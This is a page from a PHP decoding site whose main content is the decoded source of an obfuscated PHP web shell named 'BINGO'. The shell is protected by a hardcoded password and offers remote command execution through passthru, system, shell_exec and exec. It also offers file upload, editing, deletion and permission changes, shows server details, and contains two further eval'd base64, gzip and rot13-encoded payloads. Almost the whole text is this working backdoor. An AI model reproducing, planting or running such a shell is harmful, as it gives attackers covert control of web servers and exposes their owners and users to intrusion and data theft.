Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto nBqT7; lIZow: function vO2n3() { goto PZsu0; xDR11: return $MoDjz; goto XIpQ3;..
Decoded Output download
<?php
goto nBqT7; lIZow: function vO2n3() { goto PZsu0; xDR11: return $MoDjz; goto XIpQ3; PZsu0: if (function_exists("Wtjns")) { goto HSkbz; } goto qdkjd; hODdM: HSkbz: goto HkpZx; qdkjd: $MoDjz = "<font color=red>OFF</font>"; goto pRyTO; pRyTO: goto o0Y49; goto hODdM; HkpZx: $MoDjz = "<font color=lime>ON</font>"; goto vPK1P; vPK1P: o0Y49: goto xDR11; XIpQ3: } goto HA1Mw; SS9XY: function Z88rC() { goto FvvNf; QCcqE: ibTDV: goto ZND3z; eQF4t: $A29MP = "passthru"; goto QCcqE; ZND3z: if (!function_exists("exec")) { goto HAJCl; } goto Iu2Rf; hsIck: Qjaeu: goto zrg7V; Jxcr2: $A29MP = "Disabled"; goto FTq74; Iu2Rf: $A29MP = "exec"; goto n3imI; oCkgy: $A29MP = "shell_exec"; goto hsIck; UFfWx: return $A29MP; goto p8orN; NGwBu: if (isset($A29MP)) { goto WXLWu; } goto Jxcr2; n3imI: HAJCl: goto v36Ku; WdXgy: $A29MP = "system"; goto ZyP7m; FTq74: WXLWu: goto UFfWx; zrg7V: if (!function_exists("system")) { goto zV3iE; } goto WdXgy; ZyP7m: zV3iE: goto NGwBu; FvvNf: if (!function_exists("passthru")) { goto ibTDV; } goto eQF4t; v36Ku: if (!function_exists("shell_exec")) { goto Qjaeu; } goto oCkgy; p8orN: } goto R6Aom; iHUAN: $G8Tql = "#202020"; goto lANIx; FkqSy: TmjWn: goto pEZ1A; PC00D: if (!($GvDzs = opendir("."))) { goto X0NbZ; } goto MulRR; OgeN2: b5PxL: goto KPjap; i7GBJ: if (!($_POST["pass"] == $ym729)) { goto Ro042; } goto nAKmm; THaT5: unlink($b3h25); goto Csmi5; WKjZl: chmod($b3h25, $NYRK2); goto VMUyB; NdUBD: foreach ($wQkq6 as $UV9Rq) { goto QXQTR; WN0MH: goto gJ2PU; goto PYVSS; WkFGy: cOMta: goto sIkwj; L1X2o: print "<td id="fc"></td><tr id="fn">"; goto WkFGy; bGuya: print "<td id="fc" align="center"><a href="javascript:xyn('r" . $UV9Rq . "','n" . $UV9Rq . "')">[R]</a> <a href="javascript:xyn('d" . $UV9Rq . "','n" . $UV9Rq . "')">[D]</a></td><tr id="fn">"; goto c7N_w; pBHOi: $gdk6U["name"] = "???"; goto WN0MH; bxAME: r2b8O: goto L1X2o; IEQmy: $gdk6U = posix_getgrgid(filegroup($UV9Rq)); goto gnXr0; M1Dzk: if ($h0yPf == 0 or $h0yPf == 1) { goto r2b8O; } goto bGuya; sIkwj: $h0yPf++; goto Np8Hu; gnXr0: gJ2PU: goto Z0wvT; Lceux: $WiNCA = posix_getpwuid(fileowner($UV9Rq)); goto IEQmy; QXQTR: if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) { goto OXPVR; } goto ydJvk; ydJvk: $WiNCA["name"] = "???"; goto pBHOi; PYVSS: OXPVR: goto Lceux; Np8Hu: HGUPb: goto AZ_81; c7N_w: goto cOMta; goto bxAME; Z0wvT: print "<td id="fc"><span id="n" . $UV9Rq . ""><a href="?d=" . realpath($UV9Rq) . "">" . $UV9Rq . "</a></span><span id="r" . $UV9Rq . "" style="display:none;"><form action="?d=" . realpath(".") . "" method="POST"><input type="hidden" value="" . realpath(".") . "" name="d"> <input type="text" value="" . $UV9Rq . "" id="lt" name="new"><input type="hidden" value="" . $UV9Rq . "" name="old"> <input type="submit" id="lt" value="Rename"> <input type="button" id="lt" value="Cancel" onClick="xyn('n" . $UV9Rq . "','r" . $UV9Rq . "');"></form></span><span id="d" . $UV9Rq . "" style="display:none;"><form action="?d=" . realpath(".") . "" method="GET">Are you Sure?<input type="hidden" value="" . realpath($UV9Rq) . "" name="deld"> <input type="submit" value="Yes" id="lt"> <input type="button" id="lt" value="No" onClick="xyn('n" . $UV9Rq . "','d" . $UV9Rq . "')"></form></span></td><td id="fc" align="center"><span id="h" . $UV9Rq . ""><a href="javascript:xyn('c" . $UV9Rq . "','h" . $UV9Rq . "');"><font color="" . JDZMB($UV9Rq) . "">" . OOf7D($UV9Rq) . "</font></a></span><span id="c" . $UV9Rq . "" style="display:none;"><form action="?d=" . realpath(".") . "" method="GET"><input type="hidden" value="" . realpath($UV9Rq) . "" name="df"><input type="text" value="" . Oof7d($UV9Rq) . "" id="lt" name="ch"> <input type="submit" id="lt" value="Go"> <input type="button" id="lt" value="Cancel" onClick="xyn('h" . $UV9Rq . "','c" . $UV9Rq . "');"></form></span></td><td id="fc" align="center">" . $WiNCA["name"] . " : " . $gdk6U["name"] . "</td>"; goto M1Dzk; AZ_81: } goto FkqSy; Z5Exx: print "</table></br></br></br>"; goto Z8M5L; dBWiJ: eval(gzuncompress(base64_decode(str_rot13("rWkyHAgdt0ND/MIOWXitcFx0gOUoulXxG03I9PKVLaIfOBAh3MRxuCk7I02ucGNCZ2p4ykyGqbWRVEbVjndIDeWZaxGkrkEi2FcA1jaYoWwA4O8XLEtPRl2m4DaLwxtdOfhcLjTLsGqbTzsmk+Tl9C3mKkz+rx1Fyy1+jKU0gbzFyT/vS70jNdwdOixaRv9RF9vFfxLYYKL39ko33amk4A3Bo/kPXH/hWUBtluhSQvwdZA9CgXBz64aD2y4GDitVD495vq04Tp+GtHfavHiVcJmdVdqngC7ECEjBovJ6iniCjeLDWMnTN2lCgOCyFTse4EnAKKBB4TQSC/d6XsyKw93W2wYEx+la7sPwmULt02KojGpJ3U0d")))); goto tSZ3Q; U99Ht: function xECDv() { print "<table border=0 width=100% height=100% align=center style="background:#202020;color:lime;"><td valign="middle"><center><form action="" . basename(__FILE__) . "" method="POST">Password <input type="password" maxlength="10" name="pass" style="background:#202020;color:lime;border-radius:10px;border:1px solid silver;text-align:center;"> <input type="submit" value=">>" style="background:#202020;color:lime;border-radius:10px;border:1px solid silver;"></form></center></td></table>"; } goto T212o; YZmkz: foreach ($HD3L6 as $C2b01 => $rQ731) { print "<td>" . $C2b01 . "</td><td> :> </td><td> " . $rQ731 . "</td><tr>"; gtR0f: } goto wvPux; lANIx: $YudEX = "crimson"; goto hwiJw; ZuL9H: if (!isset($_FILES["upfile"]["name"])) { goto b5PxL; } goto Lh132; Lh132: $b3h25 = realpath(".") . DIRECTORY_SEPARATOR . basename($_FILES["upfile"]["name"]); goto wfYo4; Py3Ky: $qHTzf = $_POST["old"]; goto IaJlN; R6Aom: function W8Esw($A29MP, $C2ngF) { goto QbwqM; YOeKL: goto oByAf; goto SRclq; QbwqM: if ($A29MP == "passthru") { goto CUDl8; } goto NzlXs; EsNq_: passthru($C2ngF); goto PtMWi; QkKsP: ARBSj: goto WVCfn; SRclq: CUDl8: goto EsNq_; jFeAq: goto oByAf; goto Cg1K5; oMgGz: goto oByAf; goto BJ_Qx; UqnfF: exec($C2ngF, $EMJjc); goto dy3aJ; YYdrl: Ez4rI: goto i2Hfq; k9juE: if ($A29MP == "shell_exec") { goto N74Kg; } goto kvLqG; BJ_Qx: Sa6zF: goto UqnfF; Cg1K5: N74Kg: goto L2QMD; PtMWi: goto oByAf; goto QkKsP; dy3aJ: foreach ($EMJjc as $qHTzf) { print $qHTzf . "</br>"; MlAA1: } goto YYdrl; KBB05: print "dafuq?"; goto YOeKL; kvLqG: if ($A29MP == "exec") { goto Sa6zF; } goto KBB05; WVCfn: system($C2ngF); goto jFeAq; NzlXs: if ($A29MP == "system") { goto ARBSj; } goto k9juE; L2QMD: print shell_exec($C2ngF); goto oMgGz; i2Hfq: oByAf: goto jEm6g; jEm6g: } goto U99Ht; CFhcj: q8n5u: goto jJktS; w4SJM: $tDjQt = ini_get("safe_mode"); goto lv17c; UwImL: print $T2lPK; goto i0TYs; lzsYC: $h0yPf = 0; goto NdUBD; MUkex: X0NbZ: goto Z5Exx; LTDkI: $gKRnL = php_uname(); goto qJ6Fi; u0ifl: goto m3eF4; goto X1jEu; a3G7I: print "<table width="75%" align="center" id="ft" ><td id="fh"><b>Name</b></td><td id="fh" align="center"><b>Permissions</b></td><td id="fh" align="center"><b>Owner</b></td><td id="fh" align="center"><b>Options</b></td><tr id="fn">"; goto PC00D; fHCGD: goto y1aGj; goto CFhcj; TW6hJ: $VW1tR = "</body></html>"; goto p50L9; lv17c: $tDjQt = $tDjQt ? "<font color:lime>ON</font>" : "<font color=red>OFF</font>"; goto EPnZB; wvPux: CcGNt: goto yF9Ab; pt5pF: if (!isset($_POST["pass"])) { goto tg6Rd; } goto i7GBJ; UQbcP: Ro042: goto C5ZNi; qQZpz: if (!isset($_GET["ch"])) { goto cKxWk; } goto JFyK8; fXfxo: function Nb5DP($toMxI) { goto kW7pz; Rg3O0: if ($toMxI >= 1048576) { goto oCZG_; } goto eBRQl; eBRQl: if ($toMxI >= 1024) { goto KrxkK; } goto FCLRp; J6j71: $toMxI = round($toMxI / 1073741824 * 100) / 100 . "GB"; goto FDB2N; CNcED: goto GBUWQ; goto qK3Zi; kW7pz: if ($toMxI >= 1073741824) { goto PkZVi; } goto Rg3O0; Rbnia: $toMxI = round($toMxI / 1048576 * 100) / 100 . "MB"; goto CNcED; FCLRp: $toMxI = $toMxI . "B"; goto Hgiox; TOUfA: PkZVi: goto J6j71; Hgiox: goto GBUWQ; goto TOUfA; gcl2I: GBUWQ: goto Fs2f1; qK3Zi: KrxkK: goto odUeB; FDB2N: goto GBUWQ; goto qO3Cj; odUeB: $toMxI = round($toMxI / 1024 * 100) / 100 . "KB"; goto gcl2I; Fs2f1: return $toMxI; goto MLxMk; qO3Cj: oCZG_: goto Rbnia; MLxMk: } goto gRaJ0; C1MDy: XeCDV(); goto XKanr; IaJlN: $b3h25 = $_POST["d"]; goto vR4v0; EPnZB: $OrIcc = getcwd(); goto iHUAN; X1jEu: afqiy: goto R19zR; yF9Ab: print "<td colspan=3 align="center"><a href="?x=phpinf" target="_blank">PHPInfo</a></td></table>"; goto iJxJ0; Zdcxz: function aLOR5() { goto fsNEu; Cj_Vt: kuLcq: goto XBImz; SQsi4: $qHTzf = "<font color=lime>ON</font>"; goto n4YQX; XBImz: $qHTzf = "<font color=red>OFF</font>"; goto JdoRA; NS3bt: if (!$r6tPu) { goto kuLcq; } goto SQsi4; j7PS1: return $qHTzf; goto Fvn2Q; fsNEu: $r6tPu = ini_get("open_basedir"); goto NS3bt; n4YQX: goto JJfV1; goto Cj_Vt; JdoRA: JJfV1: goto j7PS1; Fvn2Q: } goto wSc1F; MVMIW: m3eF4: goto cYJtD; GHtfx: mkdir($b3h25 . DIRECTORY_SEPARATOR . $C2b01); goto i4mq1; RvkmY: print "<table id="moreI">"; goto YZmkz; TtksW: a94Dy: goto LbmRl; NkVdQ: ycMQr: goto e5y7B; uRABU: CTVaB: goto MUkex; DCIXO: function J9BBc() { goto HQcnX; wPMmx: return $A29MP; goto AE56U; DeosQ: $A29MP = "<font color=red>OFF</font>"; goto RGjO7; Dk5dx: QfiSl: goto wPMmx; atUI3: $A29MP = "<font color=lime>ON</font>"; goto Dk5dx; HQcnX: if (function_exists("gzencode")) { goto PXNzb; } goto DeosQ; NVUOe: PXNzb: goto atUI3; RGjO7: goto QfiSl; goto NVUOe; AE56U: } goto fXfxo; Zkio4: if (!isset($_POST["new"])) { goto Ghujk; } goto cz3Qb; qVvcf: if (is_dir($UV9Rq)) { goto afqiy; } goto IpWoZ; jJktS: print "<p id="bck"><a href="?d=" . realpath(".") . "">BACK</a></p>"; goto yb2Pl; XX6eH: $b3h25 = $_GET["d"]; goto kv8EH; NKYDD: $ym729 = "adm1337"; goto vcJ56; i0TYs: $HD3L6 = array("PHP Version" => phpversion(), "Zend Version" => zend_version(), "Curl" => GsYzf(), "Register Globals" => wj6fu(), "OpenBase Dir" => alor5(), "MySQL" => X8f12(), "Gzip" => j9Bbc(), "MsSQL" => YA1qo(), "PostgreSQL" => Vo2N3(), "Oracle" => NFury(), "Total Space" => Nb5DP(disk_total_space("/")), "Used Space" => nB5dp(disk_free_space("/")), "Your IP" => $_SERVER["REMOTE_ADDR"], "Server IP" => $_SERVER["SERVER_ADDR"]); goto RvkmY; d6Gpp: $B1KHo = array(); goto Qfe6Y; CNzef: if (!(false !== ($UV9Rq = readdir($GvDzs)))) { goto jz7cP; } goto qVvcf; cYJtD: goto H5ftD; goto jyHMN; revXP: $b3h25 = $_GET["deld"]; goto XTBCp; LCo_P: if (!isset($_GET["ndir"])) { goto fI2Jr; } goto XX6eH; IETeT: q9Jf2: goto vR_7C; yb2Pl: switch ($_REQUEST["x"]) { case "c": goto i0kxx; jNSS8: goto CHHtv; goto uR8dt; r_pZ3: P6IuD: goto yr9eP; i0kxx: if (!isset($_POST["edit_form"])) { goto sz0rc; } goto w1uG3; xBAt_: fclose($FQMi1); goto U5xvZ; UUZ8A: LPwJ6: goto r_pZ3; T_hZh: $FQMi1 = fopen($zfvI0, "w") or print "<p id="nn">Error Opening File</p>"; goto a_2Z6; yr9eP: print "</textarea></br></br><input type="submit" value="Save" id="sv"></form></center>"; goto jNSS8; FICh1: foreach ($C2ngF as $ISwsq) { print htmlspecialchars($ISwsq); VqXR6: } goto UUZ8A; s7RML: if (!file_exists($_GET["f"])) { goto P6IuD; } goto FyY9m; FyY9m: $C2ngF = file($_GET["f"]); goto FICh1; U5xvZ: sz0rc: goto gfxRW; gfxRW: print "<center><p>Editing " . $_GET["f"] . " (" . oOF7d($_GET["d"] . $_GET["f"]) . ") .</p></br></br><form action="?x=c&d=" . realpath(".") . "&f=" . $_GET["f"] . "" method="POST"><textarea cols=90 rows=15 name="edit_form" id="edit">"; goto s7RML; w1uG3: $zfvI0 = $_GET["f"]; goto T_hZh; a_2Z6: fwrite($FQMi1, $_POST["edit_form"]) or print "<p id="nn">Couldn't Save File</p>"; goto xBAt_; uR8dt: case "cmd": goto tYI9Z; tYI9Z: print "</br></br><center><h3>Execute Command</h3><form action="?x=cmd&d=" . realpath(".") . "" method="POST"><input type="text" value="" name="cmd" id="lt"> <input type="submit" value="Go" id="lt"></form></br><textarea cols=90 rows=15 id="edit">"; goto bWfad; aXVZK: BxDJk: goto K4ZDP; K4ZDP: print "</textarea></center>"; goto LZ6lf; bWfad: if (!isset($_POST["cmd"])) { goto BxDJk; } goto j82jL; j82jL: $ah5Gc = $_POST["cmd"]; goto IoFCd; IoFCd: w8eSw(Z88RC(), $ah5Gc); goto aXVZK; LZ6lf: goto CHHtv; goto ZzRLv; ZzRLv: case "php": goto xLDE_; xLDE_: print "</br></br><center><h3>PHP Code</h3><form action=?x=php&d="" . realpath(".") . "" method="POST"><input type="text" value="" name="pcode" id="lt"> <input type="submit" value="Go" id="lt"></form></br><textarea cols=90 rows=15 id="edit">"; goto pRdcR; pRdcR: print "</textarea></center>"; goto MKRkk; MKRkk: goto CHHtv; goto HPpqD; HPpqD: case "phpinf": phpinfo(); goto CHHtv; case "q": goto hescu; hescu: setcookie($FgQdF, '', time() - 3600); goto ecqrQ; K3BGq: goto CHHtv; goto WT9_Z; ecqrQ: K1VTk(); goto K3BGq; WT9_Z: case "x": print "</br></br></br><center><h1 id="nm">hope you good day</h1><h3><a href="mailto:[email protected]">come on</center>"; goto CHHtv; } goto IETeT; XKanr: die; goto TtksW; nAKmm: setcookie($FgQdF, $_POST["pass"], time() + 3600); goto UQbcP; HBh8q: $sL_j7 = "<center><p id="menu"><span id="menuB"><<a href="" . $lmRE2 . "">Home</a>> <<a href="?x=cmd&d="" . realpath(".") . "">Command</a>> <<a href="?x=php&d="" . realpath(".") . "">PHP</a>> <<a href="javascript:get_inf();">Info</a>> <<a href="?x=q">Logout</a>> </span></p></center>"; goto TW6hJ; hwiJw: $nhBhi = "<html><head><title>b1ng0</title><style>body {background:" . $G8Tql . ";color:" . $YudEX . ";font-size:9pt;font-family:sans serif;}h1#n{position:fixed;top:10px;left:10px;text-shadow:0px 0px 5px black;color:lime;}h1#nm{text-shadow:0px 0px 5px black;color:crimson;}a {color:" . $YudEX . ";text-decoration:none;font-family:sans serif;}a:hover {color:aqua;}hr {background:" . $YudEX . ";color:black;}p#bck{position:fixed;top:20px;right:20px;}#menu {position:fixed;bottom:0px;width:100%;font-size:13pt;}#menuB {background:" . $G8Tql . ";box-shadow:0px 0px 10px black;border-radius:15px;padding:5px 20px 5px 20px;}table#moreI{font-size:9pt;background:" . $G8Tql . ";border-radius:10px;box-shadow:0px 0px 10px black;padding:5px;position:fixed;bottom:40px;right:40px;display:none;}p#cp {font-size:11pt;}table#lt {font-size:10pt;}input#lt,input#sv {background:" . $G8Tql . ";border-radius:10px;border:1px solid " . $YudEX . ";color:" . $YudEX . ";text-align:center;}input#ltb {background:rgba(0,0,0,0);border-radius:10px;color:" . $YudEX . ";box-shadow:0px 0px 1px " . $YudEX . ";border:0px solid rgba(0,0,0,0);}table#ft {font-size:9pt;padding:5px;border-radius:10px;box-shadow:0px 0px 10px black;}td#fh {border-bottom:1px solid " . $YudEX . ";padding-bottom:3px;}tr#fn:hover{box-shadow:0px 0px 5px black;}h3 {text-shadow:0px 0px 4px black;font-size:13pt;}textarea#edit {background:" . $G8Tql . ";color:" . $YudEX . ";box-shadow:0px 0px 10px black;border-radius:10px;border:none;padding:10px;}</style><script type="text/javascript">function get_inf() {if(document.getElementById('moreI').style.display=="block"){document.getElementById('moreI').style.display="none"}else {document.getElementById('moreI').style.display="block";}} function xyn(id1,id2) {document.getElementById(id1).style.display="block";document.getElementById(id2).style.display="none";}</script></head><body><h1 id="n"><a href="?x=x">BINGO</a></h1>"; goto HBh8q; LbmRl: $lmRE2 = basename(__FILE__); goto cKlYu; nBqT7: error_reporting(0); goto NKYDD; Csmi5: Ee_dF: goto qQZpz; W5YZW: if (!isset($_GET["deld"])) { goto ycMQr; } goto revXP; kv8EH: $C2b01 = $_GET["ndir"]; goto GHtfx; T212o: function k1vtK() { header("Location: " . basename(__FILE__)); } goto dBWiJ; qJ6Fi: $ZuzEd = get_current_user() . " uid:" . getmyuid() . " gid:" . getmygid(); goto w4SJM; R19zR: $wQkq6[] .= $UV9Rq; goto MVMIW; KPjap: print "<p align="center" id="cp">" . YctbB('') . "</p>"; goto syMci; C5ZNi: k1vtK(); goto QSOla; BWqy6: print $nhBhi; goto GPRkk; MulRR: H5ftD: goto CNzef; jyHMN: jz7cP: goto w5s4a; EiyEh: ykPY9: goto LCo_P; vR_7C: CHHtv: goto TZuv8; VMUyB: cKxWk: goto ZuL9H; abvSy: asort($wQkq6); goto lzsYC; cKlYu: $zNtkm = $_SERVER["SERVER_SOFTWARE"]; goto LTDkI; eYGDa: if (!isset($_GET["d"])) { goto ykPY9; } goto MOmki; fepT0: $b3h25 = $_GET["df"]; goto WKjZl; PqfiP: if (isset($_REQUEST["x"])) { goto q8n5u; } goto eYGDa; JFyK8: $NYRK2 = $_GET["ch"]; goto fepT0; wfYo4: move_uploaded_file($_FILES["upfile"]["tmp_name"], $b3h25); goto OgeN2; HA1Mw: function x8f12() { goto RzUCl; RzUCl: if (function_exists("ue5SZ")) { goto yACrd; } goto nbmlb; OgLKU: yACrd: goto bYLGl; bYLGl: $A29MP = "<font color=lime>ON</font>"; goto f_KzQ; f_KzQ: cDdym: goto TVeld; TVeld: return $A29MP; goto JVFs_; q2EBx: goto cDdym; goto OgLKU; nbmlb: $A29MP = "<font color=red>OFF</font>"; goto q2EBx; JVFs_: } goto GvdoP; p50L9: $T2lPK = "<center><p id="inf">||| <b><i><u>Software:</u></i></b> " . $zNtkm . " ||| <b><i><u>Uname:</u></i></b> " . $gKRnL . " |||</br>||| <b><i><u>User:</u></i></b> " . $ZuzEd . " ||| <b><i><u>Safe Mode:</u></i></b> " . $tDjQt . " ||| <b><i><u>Directory: </i></b></u>" . $OrIcc . " |||</p></center><hr>"; goto BWqy6; wSc1F: function gSyzF() { goto fxayx; TIkkA: return $C2ngF; goto WQypz; fxayx: if (extension_loaded("curl")) { goto Gav2J; } goto ydoyG; ydoyG: $C2ngF = "<font color=red>OFF</font>"; goto O371W; O371W: goto oiKbt; goto AdGnG; xaURC: $C2ngF = "<font color=>ON</font>"; goto zAEcr; AdGnG: Gav2J: goto xaURC; zAEcr: oiKbt: goto TIkkA; WQypz: } goto oOXVN; lzv80: $b3h25 = $_GET["delf"]; goto THaT5; syMci: print "<table width=90% align="center" id="lt"cellpadding="0"><td align="center"><form action="?d=" . realpath(".") . "" method="GET">Create Dir: <input type="hidden" name="d" value="" . realpath(".") . "" id="lt"><input type="text" value="" name="ndir" id="lt"> <input type="submit" value="Go" id="lt"></form></td><td align="center"><form action="?d="" . realpath(".") . "" method="GET">Create File: <input type="hidden" value="" . realpath(".") . "" name="d" id="lt"><input type="hidden" value="c" name="x"><input type="text" value="" name="f" id="lt"> <input type="submit" value="Go" id="lt"></form></td><td align="center"><form action="?x=cmd&d=" . realpath(".") . "" method="POST">Command: <input type="text" value="" name="cmd" id="lt"> <input type="submit" value="Go" id="lt"></form></td><td align="center"><form action="?d=" . realpath(".") . "" method="POST" enctype="multipart/form-data">Upload: <input type="hidden" value="100000000" name="MAX_FILE_SIZE"><input type="file" name="upfile" id="ltb"> <input type="submit" value="Go" id="lt"></form></td></table>"; goto NM7aM; NlPft: if (!(!empty($ym729) && !isset($_COOKIE[$FgQdF]) or $_COOKIE[$FgQdF] != $ym729)) { goto a94Dy; } goto C1MDy; BU9T2: function NfuRY() { goto FVQbP; xux2X: PVF1O: goto RhoJA; kkpRX: goto PVF1O; goto du1Sv; bPswx: $qHTzf = "<font color=red>OFF</font>"; goto kkpRX; r551Y: $qHTzf = "<font color=lime>ON</font>"; goto xux2X; du1Sv: NjNOq: goto r551Y; RhoJA: return $qHTzf; goto YmqjQ; FVQbP: if (function_exists("QdgG6")) { goto NjNOq; } goto bPswx; YmqjQ: } goto lIZow; MOmki: chdir($_GET["d"]); goto EiyEh; cz3Qb: $C2b01 = $_POST["new"]; goto Py3Ky; vR4v0: rename($b3h25 . DIRECTORY_SEPARATOR . $qHTzf, $b3h25 . DIRECTORY_SEPARATOR . $C2b01); goto YHJEo; Pyg4S: chdir($_GET["d"]); goto usU03; IpWoZ: $B1KHo[] .= $UV9Rq; goto u0ifl; usU03: Ucqzw: goto PqfiP; GPRkk: print $sL_j7; goto UwImL; NM7aM: print "</br>"; goto d6Gpp; TZuv8: y1aGj: goto Zdcxz; vcJ56: $FgQdF = "tunafeesh"; goto pt5pF; Qfe6Y: $wQkq6 = array(); goto a3G7I; QSOla: tg6Rd: goto NlPft; zIaoF: function OOF7D($zfvI0) { goto L39Sl; OdSFG: O6pjB: goto vkprq; PDsD1: m8x6m: goto zcKXM; HgMsM: return "???"; goto tFCXm; L39Sl: if (file_exists($zfvI0)) { goto O6pjB; } goto HgMsM; vkprq: return substr(sprintf("%o", fileperms($zfvI0)), -4); goto PDsD1; tFCXm: goto m8x6m; goto OdSFG; zcKXM: } goto SS9XY; nEYU_: function JdZMb($zfvI0) { goto rAImi; ikPv9: NWV22: goto BTJzV; bKwpj: $C2ngF = "lime"; goto oUwi1; rAImi: if (!is_writable($zfvI0)) { goto RBcAd; } goto bKwpj; oUwi1: RBcAd: goto M4_oG; BTJzV: if (!(!is_writable($zfvI0) && !is_readable($zfvI0))) { goto sVlkP; } goto gJI3D; IVV_n: $C2ngF = '' . $YudEX . ''; goto ikPv9; gJI3D: $C2ngF = "crimson"; goto JHV14; JHV14: sVlkP: goto Q2uef; M4_oG: if (!(!is_writable($zfvI0) && is_readable($zfvI0))) { goto NWV22; } goto IVV_n; Q2uef: return $C2ngF; goto j7spb; j7spb: } goto zIaoF; oOXVN: function wj6fu() { goto xIyXH; xIyXH: if (ini_get("reqister_globals")) { goto QPzQ5; } goto jPU99; Ep9vE: $EMJjc = "<font color=lime>ON</font>"; goto fzHZO; fzHZO: ZOytq: goto covPp; JR82l: goto ZOytq; goto NQKle; covPp: return $EMJjc; goto Y6JBZ; NQKle: QPzQ5: goto Ep9vE; jPU99: $EMJjc = "<font color=red>OFF</font>"; goto JR82l; Y6JBZ: } goto BU9T2; iJxJ0: if (!isset($_GET["d"])) { goto Ucqzw; } goto Pyg4S; pEZ1A: foreach ($B1KHo as $UV9Rq) { goto lAfNG; m0Pw3: $WiNCA["name"] = "???"; goto v_VE_; Ddkwg: goto HwBC1; goto aO4yS; coK5_: C1yJ1: goto dOMDe; jA_u1: HwBC1: goto P1NMu; ErFGG: $gdk6U = posix_getgrgid(filegroup($UV9Rq)); goto jA_u1; lAfNG: if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) { goto qk8Ih; } goto m0Pw3; aO4yS: qk8Ih: goto ahfeW; P1NMu: print "<td id="fc"><span id="n" . $UV9Rq . ""><a href="?x=c&d=" . realpath(".") . "&f=" . $UV9Rq . "">" . $UV9Rq . "</a></span><span id="r" . $UV9Rq . "" style="display:none;"><form action="?d=" . realpath(".") . "" method="POST"><input type="hidden" value="" . realpath(".") . "" name="d"> <input type="text" id="lt" value="" . $UV9Rq . "" name="new"><input type="hidden" value="" . $UV9Rq . "" name="old"><input type="submit" id="lt" value="Rename"><input type="button" id="lt" value="Cancel" onClick="xyn('n" . $UV9Rq . "','r" . $UV9Rq . "');"></form></span><span id="d" . $UV9Rq . "" style="display:none;"><form action="?d=" . realpath(".") . "" method="GET">Are you Sure?<input type="hidden" value="" . realpath($UV9Rq) . "" name="delf"> <input type="submit" value="Yes" id="lt"> <input type="button" id="lt" value="No" onClick="xyn('n" . $UV9Rq . "','d" . $UV9Rq . "')"></form></span></td><td id="fc" align="center"><span id="h" . $UV9Rq . ""><a href="javascript:xyn('c" . $UV9Rq . "','h" . $UV9Rq . "');"><font color="" . jdZmB($UV9Rq) . "">" . OOf7D($UV9Rq) . "</font></a></span><span id="c" . $UV9Rq . "" style="display:none;"><form action="?d=" . realpath(".") . "" method="GET"><input type="hidden" value="" . realpath($UV9Rq) . "" name="df"><input type="text" value="" . oOf7d($UV9Rq) . "" id="lt" name="ch"> <input type="submit" id="lt" value="Go"> <input type="button" id="lt" value="Cancel" onClick="xyn('h" . $UV9Rq . "','c" . $UV9Rq . "');"></form></span></td><td id="fc" align="center">" . $WiNCA["name"] . " : " . $gdk6U["name"] . "</td><td id="fc" align="center"><a href="javascript:xyn('r" . $UV9Rq . "','n" . $UV9Rq . "')">[R]</a> <a href="javascript:xyn('d" . $UV9Rq . "','n" . $UV9Rq . "');">[D]</a></td><tr id="fn">"; goto coK5_; ahfeW: $WiNCA = posix_getpwuid(fileowner($UV9Rq)); goto ErFGG; v_VE_: $gdk6U["name"] = "???"; goto Ddkwg; dOMDe: } goto uRABU; w5s4a: asort($B1KHo); goto abvSy; i4mq1: fI2Jr: goto Zkio4; gRaJ0: function yctbb($b3h25) { goto im17Y; uc0e4: $jT0gL = $y79Tv[$h0yPf]; goto fPjkI; yDRab: $h0yPf++; goto oiKrh; wuHsp: JxA_6: goto ZpT4P; QeQnl: $C2b01 = ''; goto exspz; oiKrh: goto hYVUB; goto wuHsp; FXvaN: kDtpw: goto BAWTL; BAWTL: $MoDjz = ''; goto QeQnl; lcr1R: hYVUB: goto q_cNE; fPjkI: $MoDjz .= $y79Tv[$h0yPf] . DIRECTORY_SEPARATOR; goto XtdKp; d7MPZ: $b3h25 = getcwd(); goto FXvaN; XtdKp: $C2b01 .= "<a href="?d=" . $MoDjz . "">" . $jT0gL . "</a>" . DIRECTORY_SEPARATOR; goto K5ggS; K5ggS: cUDHU: goto yDRab; q_cNE: if (!($h0yPf < count($y79Tv))) { goto JxA_6; } goto uc0e4; exspz: $y79Tv = explode(DIRECTORY_SEPARATOR, $b3h25); goto FcBYY; FcBYY: $h0yPf = 0; goto lcr1R; ZpT4P: return $C2b01; goto TDhbS; im17Y: if (!($b3h25 == '')) { goto kDtpw; } goto d7MPZ; TDhbS: } goto nEYU_; XTBCp: rmdir($b3h25); goto NkVdQ; YHJEo: Ghujk: goto W5YZW; GvdoP: function ya1QO() { goto V4wwp; znTz2: $A29MP = "<font color=red>OFF</font>"; goto yvZdJ; yvZdJ: goto lxtU4; goto r0z_R; V4wwp: if (function_exists("eoTR_")) { goto dQa0u; } goto znTz2; r0z_R: dQa0u: goto mLAb1; mLAb1: $A29MP = "<font color=lime>ON</font>"; goto VBccC; VBccC: lxtU4: goto h1R4Y; h1R4Y: return $A29MP; goto H9Sze; H9Sze: } goto DCIXO; e5y7B: if (!isset($_GET["delf"])) { goto Ee_dF; } goto lzv80; Z8M5L: eval(gzuncompress(base64_decode(str_rot13("rWlqHJSYjmND/FgUXI4Y2mdMVTkHC0wSbrOpc19dPIy7p5H2vJaXAfG/ogcBHCMAFZwqr7y7YmyKDDurHqqxCWsS0sVyJvM4g1bgLxk9BQhQRkGPZNFHNa24Ogjnb2dRnE/uQAmTqaD+KsH1QLYCi9Kf7wSrLse1P15TG89EiTYCl7xyaOyfvcYLTkzJFJSVzAdewJnnIZxm8ckK4DmNfsi0Kh/Sdzd+T70IMghfz5e0xE9yfteBW5AYCK6/RZR4dUwEUtgenJG2Oa3sAhIyGDBjvfFeiiCrXgwZxWpp3jwuSoDk8Mk0ymx3ipoDUOEAtFgISux3uEGOsewo7LLodngub0fFzpjcg/nkVeBIrIrBeDr02ASdO7MFoA0HMp4+TgVUY0UMRJ6GJdrcKo4/t5/E3p4sbwwO9ypjGqOHvtyr2KtNW2ECqACAcQe8i1ecDuwNr5k9N53ghVj=")))); goto fHCGD; tSZ3Q: print $VW1tR; ?>
Did this file decode correctly?
Original Code
<?php
